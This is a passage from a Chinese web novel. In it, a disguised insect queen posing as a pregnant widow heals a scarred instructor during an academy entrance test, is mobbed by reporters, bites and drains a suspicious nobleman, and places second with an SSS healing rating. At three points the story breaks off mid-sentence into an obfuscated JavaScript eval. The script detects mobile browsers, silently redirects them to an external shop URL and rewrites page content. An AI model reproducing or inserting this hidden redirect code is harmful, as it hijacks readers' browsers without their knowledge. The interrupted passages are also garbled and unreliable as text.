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他将脱下的外套随手扔在一旁的仪器台上,发出不大不小的一声响。整个人依旧站得笔直。 “罗兰医生,去取一件高亲和性的作战服来。”雷克索脸上没有任何多余的表情,“作战服能够更好地传导精神力,考虑到你现在的身体,这能减少一些消耗。” 兰乌有些惊讶。 这教官看着严厉,但好像挺好说话的。 …… 几分钟后,隔间的门滑开。 当雷克索·斯特林再次走出来时,兰乌没忍住,瞪大了眼睛。 基地标准的深灰色紧身作战服,如同第二层皮肤般,严丝合缝地包裹在他魁梧的身躯上。作战服极具弹性,将他每一块饱满的胸肌、轮廓分明的腹肌、以及强壮到近乎夸张的臂肌和腿肌线条,都无比清晰地勾勒出来。那是一种纯粹由力量和纪律锻造出的、充满爆发力的体型,宛如一尊活过来的、充满蛮荒气息的战神雕像。 与这极具视觉冲击力的身体形成对比的,是他那张布满寒霜的脸和冰冷刺骨的眼神。 伤疤在紧身衣的衬托下,更显狰狞。他站在那里,不再仅仅是星刃的教官,更像是一头被强行套上束缚、随时准备撕碎一切的凶兽。 兰乌下意识地用手微微遮了一下眼。 但是指缝大得能塞下她瞪圆的眼睛。 偏偏罗兰还拿出几条检测用的数据传输带,绑在雷克索身上。黑色的带子紧紧地勒住,大腿、胳膊,以及胸口往下。 房间里的摄像头忠实地记录着一切。 绑完,罗兰看了肌肉被绑带勾勒出来的雷克索,又看了眼目不转睛的兰乌。 这位素来冷静的校医忍不住问:“这样是不是有些奇怪?” “没事的。”兰乌立刻摇头,“我觉得这样穿,很神圣啊。” 8. 8 当雷克索教官穿着那身作战服,如同被精心包装的献祭品般重新站定在她面前时,兰乌感觉自己的虫母本能都欢快地嗡鸣了一下。 ……哇哦。 她的目光状似无意地扫过那被紧身衣和绑带共同勾勒出的、饱满到近乎夸张的胸肌轮廓,内心发出了一声真诚的喟叹。 这真是……过于富有且慷慨了。 作为一个正在卧底篡位、被追杀、饿了五个月的新生虫母,兰乌对这种毫不设防、甚至被主动挺身而出的优质资源,抱有一种发自本能的赞赏。他看起来是如此强韧,充满了蓬勃的生命能量,仿佛在无声地邀请着一次深入而彻底的……美食品鉴。 看饿了。 当然,这一切内心的波澜,都被压在苍白脆弱的面容之下。 她甚至适时地又轻咳了一声,掩饰般地微微侧过一点脸,仿佛不敢长时间直视那过于具有冲击力的男性躯体。 雷克索教官的眉骨几不可察地跳动了一下。 兰乌仿佛完全没有察觉到他瞬间僵硬的肌肉和更加冰冷的眼神,低着头,继续用她那带着一丝怯生生、却又无比认真的语调说道: “长官,您不觉得吗?这紧身的作战服,完美勾勒出您每一寸为战斗而生的肌肉线条,就像是……像是力量本身凝结成的雕塑。还有这些绑带——” 她的目光虔诚地扫过他胸前、臂膀和大腿上的黑色绑带,那眼神不像是在看一个几乎半裸的强悍男性,反倒像是在瞻仰什么圣物。 “它们紧紧贴合着您的身躯,多像古老的战纹,或者是……封印着过于强大力量的神圣符文?我甚至能感觉到,它们正在帮助您更好地约束和引导那股磅礴的精神力,让它不至于逸散。” 她微微前倾身体,双手合十在胸前,仰着脸,用一种近乎咏叹的、充满敬畏的语气总结: “这根本不是奇怪的装束,长官。这简直是一场……为了稳定精神图景而进行的、庄严的献祭仪式。而您,就是那位承载了一切的战神。” “真的很神圣。” 校医罗兰欲言又止,金丝眼镜后的眸光剧烈闪烁着,右手捏着记录笔,唰唰唰写了下去。不知道是在记录雷克索的生命体征,还是在记录兰乌的“神圣”发言。 雷克索·斯特林教官:“……” 他那张古铜色的、布满伤疤的刚毅脸庞,以肉眼可见的速度,从额头开始,一点点漫上了一种极其不自然的、混合着震怒、荒谬和极度窘迫的暗红。他甚至能感觉到,那身该死的、被形容成“神圣符文”的绑带,此刻正像烧红的烙铁一样紧紧勒着他的皮肤。 面前坐着的女性,看起来柔弱又天真。 完全是需要保护的对象。 在因伤退役、进入星刃担任教官工作前,他也是一名战功累累的战士。前半生,看过不知多少这样的、遭受了苦难的人。他们向他投来仰慕、期望的眼神,而他也担起这样的责任,活跃于前线。 他自然喜欢来自民众的仰慕。 没人不爱那样的荣誉。 可眼前这个一脸“虔诚”的黑裙女子,他竟觉得……她像个小怪物。 对于方才那段热情的夸赞,雷克索心里有些说不上来的抵触,但他又说不上为什么。机器在滴滴地响,测试的时间很紧急,没必要在这种事情上浪费太多的时间。 他颔首:“你可以开始了。” “好的长官。”兰乌揉了揉自己有些发红的脸,“请放松您的精神。” 说完,她不再犹豫。那只白皙纤细的手,终于轻轻地、完整地贴上了雷克索的额头。 指尖传来的皮肤温度偏高,带着战士特有的热血奔涌感。与此同时,她一直收敛着的精神力,如同终于得到许可的涓流,顺着指尖的接触点,温和而又不容抗拒地,涌入了那片她早已感知到的“雷暴海洋”。 轰—— 比之前任何一次都要清晰、猛烈。 真正接触的瞬间,兰乌才切身感受到这片精神图景的混乱与危险。那不是阿尔文那种带着缺口等待填补的干涸,也不是凯斯那种带着尖刺的躁动,而是一种仿佛经历过无数次爆破、毁灭与强行重塑后留下的、充满毁灭性能量的废墟场。 冰冷的精神力碎片如同弹片般四处飞溅,狂暴的能量乱流撕扯着她的感知,浓重的硝烟味与一种……类似于烧焦的电路板混合着铁锈的苦涩味道,几乎要淹没她的意识。 她吃了一惊。 两位少爷所谓的精神损伤,和这位一比,根本就如同宠物掉了几根毛一样。 兰乌内心咋舌,但更多的是一种被激起的好胜心。 如果她能正常发育,拥有一个虫母的精神力,也许快速解决这件事,但她实在太虚弱了,所拥有的精神力并不多。这几天恢复了一些,也不过是空底的水杯,添了个底。 其实她也没骗凯斯。 她自己的精神图景已经惨得没边儿了,活脱脱一个废墟。 不过,她很快就感受到,雷克索的精神力在收敛回去。正如他所说,只是打算放出一部分具有攻击性的精神力,来对她进行测验。并不是想让她一次性解决这个大麻烦——想想也知道,这太为难一个报考者了。 这又叫兰乌想起了另一个问题。 她已经思考了几天。 这几日她对星刃的报考条件有了初步的了解,确实是会招一些特长生。其中以治愈系能力的录取率最为突出。只要能表现出一点治愈的功效,甚至不必治愈,只是减轻痛苦、进行镇痛这样的能力,也能在精神力测试中大大加分。 若是纯正的治愈系能力。 但凡是个能走路的、会说人话的,都能录取。 这种能力实在是太稀缺了。 因此,兰乌知道,自己挺着个孕肚来考试,很惊世骇俗,可被录取还真没啥问题…… 区别就在于。 她到底要在人前表现出多强的治愈系能力。 老实说,她也不知道别的治愈系能做到什么地步。从阿尔文和凯斯两个少爷的反应来看,她的能力应该是非常突出。 她就怕自己有点太突出了,孕妇考军校有点惊世骇俗,但最多被人八卦一下,要是成了顶级治愈者,说不定会一下子吸引太多人类强者的目光。 她的身份可经不起推敲。 收敛一点不是坏事。 然而当雷克索的精神力收敛回去,她竟然本能地追了过去。 兰乌:“……” 算了,来都来了…… 她小心翼翼地操控着自己的精神力,它们如同最灵巧的织工,又像是无声的清道夫,开始在这片狂暴的废墟中穿行。 兰乌并没有选择强行平复那些风暴,只是引导。 将两股即将对撞的能量乱流轻轻拨开,在一道深不见底的精神裂痕边缘,用温暖的力量构筑起一道临时的堤坝,将那些尖锐的、代表着痛苦记忆的碎片,用柔和的精神力包裹、暂时隔离…… 她的动作精细、耐心。 很快就彻底沉浸在自己的梳理工作中。 她完全能感觉到,这片“废墟”深处,蕴藏着何等强大而精纯的力量。只是它们现在像无人管理的失控反应堆,不断制造着破坏。 很暴殄天物。 不过,修复起来,也很有成就感就是了。 她一边想着,一边更深入地探出精神触须,像品尝前菜一样,悄悄“尝”了一小口那被暂时安抚下来的、最外围的纯净精神力。 一股灼热、辛辣,却又带着一种深沉回甘的独特风味,在她意识中炸开。 教官的精神力品种似乎不如那两位养尊处优的少爷,可那经过真实战场锤炼后的韧性,让他的精神力像是淬炼无数次的晶体,丑陋,粗犷,浓郁,在缓慢的融化中,淌出悠长的回味。 罗兰的神色逐渐认真,检测仪器上的数据正在剧烈波动。代表雷克索精神力狂暴指数的曲线,正在以一种缓慢但确实存在的速度,平稳下降。 兰乌也闭着眼,额头渗出细密的汗珠,脸色愈发苍白。 这已经远远超出了考核需要的程度,事实上,他们只是要求兰乌化解一缕精神力,而不是直接当起治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前所未有的完整感和被净化的感觉,冲刷着他每一个精神末梢。 他的呼吸不知何时变得深长而平稳,紧蹙的眉宇舒展开来,甚至连下颌线那刚硬的线条都柔和了几分。原本挺拔如松、随时准备战斗的姿态,也微微松懈,呈现出一种他自己都未曾察觉的、近乎依赖的松弛。 他能“听”到自己的精神力,此刻正发出满足的、如同被顺毛抚摸般的嗡鸣,主动缠绕上那外来的、带来极致舒适的力量,渴求着更多。 似乎那些测试、规则、怀疑……都在那灵魂级别的极致舒适面前,变得微不足道。 只想让这一刻无限延长。 …… 兰乌也没能完成全部的安抚,只粗粗扫了一圈。 这绝对能完成考核。 这样想着,她抽出自己的精神力,手也收了回来。 几乎是本能反应,雷克索那只垂在身侧、骨节分明的大手猛地抬起,一把攥住了她纤细的手腕—— 力道之大,像是她瞬间被野兽盯上了脖颈。 “唔!”兰乌下意识痛呼了一声。 “长官?” 雷克索几乎愣住,许久,喉咙里发出一声低沉、沙哑的声音:“抱歉。” 他松手。仿佛被自己这失态的动作惊醒。一股带着羞耻的热意,“轰”地一下席卷全身,让他古铜色的皮肤从脖颈开始,迅速漫上一层滚烫的红潮。 紧身作战服包裹的胸肌,剧烈地起伏着。 几乎正对着兰乌的脸。 兰乌吸收精神力吃得饱饱的,“咕”得一声咽了口唾沫:“我的考核结束了吗?长官。” “嗯。你可以出去等结果了。” “……长官,我好像有点,脱力。”兰乌腼腆地笑了一下,双手轻轻放在自己的小腹,“我太弱了。” 雷克索:“……”他笔直地站着,也没有动。 “罗兰,你送兰乌夫人出去。” 9. 9 星刃报考点那巨大的穹顶大厅外,此刻已是一片喧嚣的海洋。 无数来自恩戴要塞乃至其他星域的媒体记者架起长枪短炮,能量相机的闪光几乎要盖过太阳的光芒。他们拥挤在隔离带后,伸长了脖子,如同嗅到血腥味的鬣狗。 焦点中心,是刚刚完成所有考核项目、正接受短暂采访的阿尔文·冯·洛希尔。 他金色的头发在聚光灯下熠熠生辉,俊美的面容带着一丝恰到好处的疲惫与从容。即使经历了一系列严苛的测试,他依旧维持着洛希尔家族继承人的完美仪态,回答着记者关于考核难度、未来展望的问题。 他的每一个字,都被迅速记录、转播,传递到人类联邦的各个角落。洛希尔家族的声望,与这位年轻继承人的英姿,正是媒体趋之若鹜的盛宴。 “……星刃是每一位战士的梦想之地,我期待在这里进一步提升自己,为联邦效力。”阿尔文的声音透过扩音设备清晰地传开,引起一阵赞许的骚动。 就在这片围绕着阿尔文的热闹达到顶峰时—— 报考点那扇沉重的合金大门,再次缓缓滑开。 原本聚焦在阿尔文身上的镜头,下意识地、带着几分惯性地扫了过去。 然后,所有的喧嚣,如同被一把无形的利刃切断,瞬间停滞。 时间仿佛凝固了一秒。 一个身影,安静地站在门后的阴影里,正小心翼翼地迈步而出。 首先映入眼帘的,是那一袭墨色长裙,在身后冰冷金属的映衬下,黑得纯粹,黑得刺眼。 然后,是那过分苍白、几乎透明的脸颊,纤细脆弱的脖颈,仿佛一阵风就能吹倒的伶仃身躯。 几乎是本能,记者们蜂拥而去。 星刃几乎是不招女学生的,自成立以来,女性学员的比例常年低于百分之三。那些凤毛麟角的女性学员,无不是身负奇能、意志如钢的怪物。 虽说现在考核结果还没出来,可兰乌作为最后一个结束考试的学员,一定有其特殊之处。 然后蜂拥了一半。 所有目光锁定上同一个焦点——那黑色裙摆前端,柔和却无比清晰地隆起一个弧度。 “等、等等……”风暴中心的女子这样说,“请小心不要挤到我肚子里的孩子。” 这、这是一个……孕妇? 记者们的大脑集体宕机了数秒。 然后带着被吓傻了的恐惧,齐齐退后了一圈。 这里是星刃军校,全联邦最顶尖、最残酷的军事摇篮,是锻造钢铁战士的地方!怎么会出现一个……明显怀着身孕的年轻女人? 她是工作人员?家属?可为什么是从考生通道出来的? 阿尔文也看到了兰乌,他冰蓝色的眼眸中闪过一丝意味不明的情绪,但他很快控制住表情,只是目光紧紧跟随着她。 凯斯不知何时已靠在了不远处一根廊柱下,双手插在口袋里,铂金色的发丝垂落额前,遮住了他灰蓝色眼眸中复杂的神色——那里面有预料之中的嘲弄,也有一丝连他自己都没弄清的、微妙的不爽。他看着那些记者从茫然到震惊,再到如同发现新大陆般的狂热,嘴角扯出一抹冰冷的弧度。 他看到了医生扶兰乌出来的样子,从罗兰的表情来看,兰乌被录取,已经是板上钉钉。 最近的媒体新闻,一定会很震撼。 死寂只持续了极其短暂的一瞬。 下一秒,比之前针对阿尔文时猛烈十倍的闪光灯,如同超新星爆发般,将兰乌完全吞没。 “咔嚓!咔嚓咔嚓——” 刺目的白光连成一片,几乎让人睁不开眼。考虑到兰乌是孕妇,记者们克制地发着疯,无数问题如同炸开的弹片,铺天盖地地砸向那个孤立在光芒中心的黑裙女子: “这位女士!请问您是谁?您怎么会从星刃考场出来?” “您是在参加入学考试吗?以您现在的身体状况?!” “天哪!您怀孕了!这是真的吗?您的家人呢?” “她有考生编号!她真的是考生!一个孕妇来考星刃!这太疯狂了!” “请回答我们!这到底是怎么回事?!” 兰乌似乎被这突如其来的阵势吓坏了。 她猛地停下脚步,下意识地抬起苍白的手,挡在眼前,仿佛无法承受那炽烈的光线。单薄的身体微微颤抖着,像一片在狂风中瑟缩的叶子。她慌乱地低下头,想要避开那些探究的、灼热的视线,脚下甚至踉跄了一下,差点摔倒。 这个动作更是让记者群爆发出一阵惊呼。 却没人去扶,镜头只是疯狂地对准了她和她隆起的腹部。 孕妇报考星刃! 这已不仅仅是新闻,这是足以颠覆常识、引爆全星际舆论的惊天奇闻! 所有的摄像机、录音设备,以前所未有的精度,死死锁定了那个在闪光灯中显得更加苍白、更加脆弱的黑裙孕妇。她站在那里,与周围钢铁、力量、雄性荷尔爆棚的环境形成了极大的反差。 头条!绝对是爆炸性的头条! “女士!请说出您的名字!” “您是通过了什么考核?精神力测试吗?” “您坚持参考的动力是什么?” 问题更加尖锐,更加疯狂。 兰乌被围在中间,进退维谷。她低着头,双手紧紧护着自己的小腹,肩膀微微耸动,仿佛在无声地哭泣。 阿尔文再也忍不住,拨开身前的记者,快步走向兰乌,试图为她挡住一些镜头和追问:“够了!请不要打扰她!她需要休息!” 凯斯也直起身,慢悠悠地踱步过来,虽然没有说话,但那冷冽的目光扫过人群,也让最前排的几个记者感到了一丝寒意。 然而,他们的维护,反而更像是在证实着什么,激发了记者更大的好奇心。 “女士!您是否认识洛希尔少爷和海因里希少爷?” 就在这片彻底的混乱中,兰乌缓缓地、极其艰难地,抬起头。 苍白的脸上泪痕未干,绿色的眼眸如同被暴雨洗礼过的森林,湿漉漉的,带着深深的疲惫与一丝仿佛被逼到绝境的倔强。 她望着眼前无数黑洞洞的镜头,望着那些充满了猎奇与探究的面孔,嘴唇翕动了几下,最终,用一种带着颤音,却异常清晰的语调,开口说道: “我……我叫兰乌。” 她的声音透过无数收音设备,传遍了整个大厅,并通过直播信号,飞向各个角落。 “我……只是想为我的丈夫……报仇。” 一句话,如同按下了静音键。 短暂的死寂后,是更加狂猛的、足以吞噬一切的狂热推流。 “我的丈夫,被虫族杀死了。” 说完这句话,她似乎终于体力不支。在阿尔文和凯斯、以及安保的护卫下,离开了此处。 …… 当晚,所有新闻版块都爆了。 《恩戴军情》:星刃军校现史上最特殊考生,孕期寡妇申请入学,声称矢志复仇 《星刃观察者》:精神力特长?贵族介入?深度解析“兰乌现象”背后的军校招生机制 《今日恩戴》:【她疯了?还是我们疯了?】军校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746992|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考场惊现复仇孕妇,洛希尔继承人全程护卫! 《每日八卦》:【独家深扒】神秘寡妇兰乌的裙下之臣:洛希尔少爷、海因里希少主为何为她折腰? 《星河有情》专题:【带着你的遗志活下去】丈夫惨死虫口,柔弱妻子身怀六甲踏上最强军校复仇路 阿尔文一路看下去,没有说话。 抛开那些媒体报道,网友对此事显然也极为关注。 随便打开几个网站,都能看见浮在最上面的讨论。 【热帖】星刃论坛:李涛,那个孕妇考生兰乌,真的能通过最终审核吗? 【爆】知识平台问答:如何评价“兰乌事件”?这对于星刃军校的声誉是利是弊? 而大众热度最高的星网博客,更是爆了一连串的热搜: #孕妇报考军校# #虫族血海深仇# #洛希尔继承人喜欢寡妇# #她这么漂亮,怎么就有老公了# #她老公,死了# 阿尔文:“……” 似乎,本该属于他的大众关注度,全都跑到兰乌身上去了。漫天的热搜里,全是在讨论他到底和兰乌什么关系。有关他的正面通稿,被压得找都找不到。 本来的计划,应该是他高调入学…… “凯斯,我……” 话音未落,一旁的凯斯便抬手:“嘘……”他用眼神示意,兰乌正使用他的通讯设备,和星刃考官通讯。 “补考其他科目?”兰乌脸上有点忧愁,“通识、地理历史、战略……还有吗?” 电话那头传来声音:“雷克索长官命我代他说一声抱歉,当时没有考虑过您能通过考试的可能性,因此没能安排您参加这些。” 兰乌:“哦……但是这几门课,恐怕我真不行……” “长官说了,可以低分,不可以缺考。这是规矩。体能那些课,您是特殊情况免考。”对面又说,“只是走一走流程,不用太担心。这样我们也好交代。”几乎是明着暗示兰乌已经通过考核了。 兰乌只能抿唇,应下。 完了。 她傻傻地看着通讯设备。 她穿越过来,刚出生就被追杀,唯一接触到的一点教育也是通过虫族精神力传递的,是虫族的文化。 别说这些乱七八糟的人类考试科目了,就是这个人手一只的通讯设备,她都不会用……先前一直在弄外表和精神力的伪装,结果根本没来得及学这些。 阿尔文:“兰乌夫人。” “嗯、嗯?” “我有些累了,先回房休息,明日再见。祝你身体安康。” 兰乌:“谢谢您这几日的关照。” 阿尔文离开,兰乌也站了起来,也想回去休息了。 手腕被捉住,她被按倒,整个人陷入柔软的坐垫中。 窗外灯火通明,精密的工业美学在夜色下愈发动人。 凯斯俯下身,整个人几乎是笼罩了她,将她困于小小的复古风座椅中。他脸上带着惯常有的、轻佻的笑,狭长的眼眸却压着极为认真的神色:“不想去考这几门?” “此前我就发现了,你没有通讯设备,没有身份证明。而刚才,你似乎连一个最普通的通讯器都不会用,甚至看不懂……上面的文字?”阿尔文在因为别的事情分心,他可没有,“所谓的给老公复仇,只不过是你的一面之词。甚至,连那天的虫族袭击,也极为蹊跷。” 兰乌的呼吸轻轻地颤了一下。 “你是哪里来的野人?” “还是……你根本就不是……” 10. 10 他的声音压得极低,温热的气息几乎拂过她的耳廓,灰蓝色的眼眸锐利如鹰隼,不放过她脸上任何一丝细微的变化,“……人类?” 最后两个字,轻得如同叹息,却带着千钧之力,狠狠砸在兰乌的心上。 呼吸。 窗外的流光溢彩,房间内的奢华舒适,都成了模糊的背景。只剩下凯斯那双仿佛能洞穿一切的眼睛,和兰乌骤然收缩的瞳孔。 她放在膝盖上的手几不可察地蜷缩了一下,指尖陷入柔软的裙料。 兰乌抬起眼,绿色的眼眸里迅速蒙上一层更厚的水汽,仿佛被他这句过于尖锐的质疑深深刺伤,连声音都带着破碎的颤音:“海因里希先生……您、您怎么能这样想……” 她像是承受不住这种指控,身体微微向后缩,试图避开他过于迫近的压迫感,声音里充满了委屈和难以置信:“我不是人类……那我是什么?怪物吗?” 凯斯没有说话,只是静静地看着,嘴角那抹讥诮的弧度没有丝毫变化。 兰乌的眼泪终于滚落下来,顺着苍白的脸颊滑落。“我……我只是一个偏远地区来的普通人……我们那里很落后,很少接触这些高科技的东西……我没受过教育……我、我连字都认不全……” 她越说越激动,肩膀微微发抖,双手再次护住小腹,仿佛那是她唯一的依靠和证明。她报了一个地名:“如果您不相信,可以去查……” 她泣不成声,将脸埋入掌心,单薄的肩膀耸动着,整个人笼罩在巨大的悲伤和无助之中。 理智告诉他,这个女人满口谎言,漏洞百出。她那精湛到可怕的“治愈”能力,她对人类常识的惊人匮乏,以及那次恰到好处的虫族袭击……一切都太奇怪了。 但…… 又没有证据。 看着她苍白脸上滚落的泪珠,看着她护住腹部时那种近乎本能的姿态,感受着空气中那若有若无、却让他精神核心微微躁动的清冽兰香……凯斯也皱了眉。 他是不是……逼太紧了? 万一,她说的有一部分是真的呢?万一她真的只是一个来自蛮荒之地、不幸失去了丈夫、身怀异能的可怜寡妇呢? 兰乌继续掉着眼泪:“之前您就质疑过我的精神力,现在又要质疑我的整个人吗?精神力已经证明过,那现在……” 她几乎躺在座椅上,腿并拢着,被凯斯的腿困住。 兰乌沾着泪珠的睫毛剧烈地颤抖了一下,她没有像之前那样怯懦地接受,反而像是被某种巨大的委屈和绝望攫住,猛地抬起头,绿色的眼眸中燃烧着一种近乎破碎的倔强。 “查我……您不是怀疑我吗?”她的声音带着哭腔,却异常清晰,每一个字都像是从齿缝里挤出来的,“好……您来查!现在就查!” 她忽然抓住凯斯垂在身侧的那只手腕,力道之大,完全不像她平日表现出来的柔弱。在凯斯微愕的目光中,她牵引着他的手,不由分说地、重重地按在了自己微微隆起的小腹上! 隔着一层单薄的丝绸衣料,凯斯掌心瞬间传来温热的、属于生命的柔软触感,以及那不容错辨的、确实存在的弧度。 “查呀!”兰乌仰着脸,泪水奔涌而出,声音却带着一种豁出去的、玉石俱焚般的凄厉,“摸到了吗?这是不是真的?一个怪物……能孕育人类的孩子吗?!” 凯斯整个人都僵住了。 掌下的触感真实得不容置疑。那温暖的、孕育着生命的弧度,像一道无声的惊雷,劈散了他脑海中许多尖锐的猜测。他能感觉到那下面微微的搏动,属于一个正在成长的胎儿,更属于兰乌本身。 他灰蓝色的眼眸中闪过一丝罕见的慌乱和措手不及。他确实怀疑她,怀疑她的来历,怀疑她的能力,甚至怀疑她整个“未亡人”的身份……但他从未、也绝不可能用这种方式去“验证”一个孕妇! 这太逾矩了! 他想抽回手,却被兰乌死死按住。她抓着他手腕的指尖冰凉,带着细微的、却不容抗拒的颤抖。 “您查啊!”她几乎是尖叫着,泪水涟涟,“用您的精神力!探进去!看看里面到底是什么!看看我是不是在伪装!看看我是不是……一个连孩子都能伪造的怪物!” 凯斯被她眼中那混合着巨大痛苦和决绝的光芒震慑住了,一时竟忘了动作。 就在这僵持的瞬间—— 兰乌猛地抬起头,对着他的手腕,狠狠地咬了下去! “呃!”凯斯猝不及防,腕间传来皮肉被牙齿刺穿的尖锐痛感。 而几乎在咬下去的同一瞬间,大颗大颗滚烫的眼泪就从兰乌紧闭的眼眶里疯狂涌出,混着唇齿间隐约的血腥气,咸涩一片。 她咬得那么狠,单薄的肩膀都在用力,身体因为激动和哭泣而剧烈地颤抖着,可那呜咽声却被她死死压抑在喉咙深处,变成了一种更加可怜、更加无助的哽咽。 一边是带着恨意和恐惧的、近乎自保般的攻击,一边是无法控制的、崩溃的泪水。她像是在通过这凶狠的一口,发泄着所有的委屈、愤怒和走投无路的恐慌。 眼泪啪嗒啪嗒地往下掉,砸在凯斯的手腕上,砸在她自己紧紧攥着他衣袖的手上,温热而又冰凉。 凯斯僵住了,腕上的刺痛一阵阵传来,但更让他心神震动的是眼前这矛盾的、极具冲击力的一幕——她咬得越狠,眼泪就掉得越凶,那压抑的、破碎的哭泣声像无数细小的针,密密麻麻地扎在他心上。 他甚至可以清晰地感觉到,她咬合着的下颌在微微颤抖,滚烫的泪水不断浸润着他被咬处的皮肤,带来一种奇异而陌生的触感。 这根本不是伪装。 这是一种……情绪彻底崩溃后的本能反应。 终于,兰乌像是耗尽了所有力气,松开了口。 她抬起头,唇上沾着鲜红的血渍和晶莹的泪痕,绿色的眼眸像是被暴雨彻底洗过,湿漉漉的,只剩下无尽的茫然和后怕。她看着凯斯手腕上那圈深刻的、渗着血丝的牙印,仿佛才意识到自己做了什么,巨大的惊恐瞬间淹没了她。 “对、对不起……”她猛地向后退缩,声音带着浓重的、无法掩饰的哭腔,整个人蜷缩起来,把泪痕交错的脸深深埋进膝盖里,只剩下不断颤抖的、纤细脆弱的背影,和再也压抑不住的、低低的、委屈至极的呜咽。 “我不是故意的……我只是……好害怕……呜……” 凯斯站在原地,腕间的刺痛和那湿漉漉的泪痕仿佛还残留着灼人的温度。他看着那个哭得缩成一团的女人,又低头看了看自己手腕上那个带着她齿痕、泪水和血丝的印记。 他烦躁地“啧”了一声,却发现自己一时之间,竟然什么话都说不出来了。 “属狗的吗?”他生硬地说了一句。 将蜷缩的兰乌强行打开。凯斯看着本来就被泪水沾湿的袖口,干脆一不做二不休,同袖子擦了擦她的眼泪。 水真多。 没见过这种人。 凯斯看着她蜷缩在座椅里,肩膀微微耸动,那压抑的啜泣声像小猫的爪子,一下下挠着他的神经。腕间的牙印还在隐隐作痛,提醒着他刚才的失控。他拧眉,那种莫名的愧疚感又涌了上来。 “……别哭了。”他声音有些生硬,试图打破这令人窒息的氛围。 兰乌的哭声渐渐低了下去,却没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的精神力如同决堤的洪水,不受控制地涌向兰乌。那曾经让他痴迷的极致舒适感,此刻变成了无法挣脱的甜蜜陷阱,带着令人战栗的掠夺性,疯狂抽取着他的力量。 他想反抗,想切断链接,但精神核心却传来一阵阵违背他意志的颤栗和……欢愉。仿佛他的精神力本身,就在渴望被如此对待,渴望被如此彻底地吞噬和占有。 凯斯身体晃了一下,不得不伸手撑住旁边的墙壁才稳住身形。他呼吸沉重,眼神已经开始涣散,所有的理智都在那汹涌而来的、灵魂级别的舒适感中土崩瓦解。 不知过了多久。 兰乌微微仰起头,发出一声极其满足的、如同饱食后的猫咪般的喟叹。苍白的脸颊浮现出诱人的红晕,她仍然闭着眼,像是终于能够得到安眠一样,轻轻地蜷缩起来。 蜷在凯斯怀里。 这位高傲的少爷微微发着抖,铂金色的发丝垂落,几缕黏在汗湿的额角。他那双总是带着讥诮与审视的灰蓝色眼眸,此刻像是被抽走了所有神采,空洞地望着虚空一点,瞳孔微微涣散。 惯常紧抿的、线条优美的唇无意识地张开一道细缝,呼吸轻浅而紊乱,仿佛还没从那场精神力的狂风暴雨中回过神。 他就那样僵在原地,瘫坐在地板上,平日里所有的精明、傲慢和掌控力都消失不见。 他想要恼怒,但身体里空空荡荡,连恼怒的情绪都没有。 何况造成这一切的兰乌,已经昏睡过去了。 怀中睡着的、格外柔软的人忽然动了一下,脸颊在他胸口轻轻地蹭着,睫毛上犹有沾湿的泪痕。 “老公……” 11. 11 一周后,星刃军校新生考核成绩准时公布。 如同往年的每一次,这份名单牵动着无数人的心神。然而,当最终榜单通过官方渠道发布时,引发的却是一场远超任何人预料的、席卷整个帝国的舆论海啸。 榜首是阿尔文·冯·洛希尔,各科成绩近乎完美的S级评分,精神力也是漂亮的S级。实至名归,并未引起太多惊奇。 真正的风暴眼,在于榜单的第二名。 姓名:兰乌 精神力:SSS 精神力特性:治愈系 其他科目(通识、战略、地理历史等七项):0 综合评定:A+(特殊人才破格录取) 这份成绩单一经公布,整个星网都爆炸了。 SSS级精神力!纵观星刃百年校史,出现次数也屈指可数!更遑论是极其稀有的治愈系! 一个除了精神力一无是处,甚至可以说是文盲的孕妇,凭借着史无前例的SSS级治愈力,硬生生砸穿了星刃严苛的入学门槛,空降总榜第二! 这已经不是新闻,这是一场对所有人认知的颠覆。 《恩戴头条》:【SSS级文盲?!星刃史上最矛盾新生诞生,是天才还是笑话?】 《每日热议》:【深度起底:从复仇孕妇到SSS级天才,兰乌的七十二小时奇迹】 媒体彻底疯狂了。之前关于兰乌的所有报道被重新翻出,热度呈指数级攀升。她的名字,连同那张苍白脆弱却带着决绝眼神的脸,瞬间占据了所有社交平台的热搜榜首。 #兰乌SSS级精神力# #零分考入星刃# #最强治愈系孕妇# #星刃破格录取# 而在这片沸腾的舆论中,一份来自帝国影响力最大的官方媒体——《帝国星讯》的专访邀请,被直接送到了兰乌暂住的酒店套房。 …… 套房的客厅内,阿尔文看着光屏上那份措辞正式、分量极重的邀请函,冰蓝色的眼眸中闪过一丝复杂。他看向坐在对面,正小口啜饮着营养补充液的兰乌,语气带着惯有的温和与一丝不易察觉的提醒:“《帝国星讯》的专访……直播节目,影响力巨大。兰乌夫人,你需要谨慎应对。” 凯斯则懒散地靠在沙发上,指尖漫不经心地划动着空气,调出虚拟屏幕上的各种夸张标题,灰蓝色的眼眸里带着毫不掩饰的讥诮。 “啧,‘SSS级文盲’,这头衔倒是挺适合你。”他瞥了一眼兰乌,“怎么样,大天才,准备好去面对全帝国的审问了吗?” 他手腕上缠着一圈醒目的绷带。 兰乌放下杯子,纤细的手指交叠放在膝上,黑色的裙摆依旧如同凝固的夜色。她抬起眼,绿色的眼眸清澈见底,带着几分恰到好处的紧张与茫然:“我……我不知道该说什么。他们会不会……问很难的问题?” 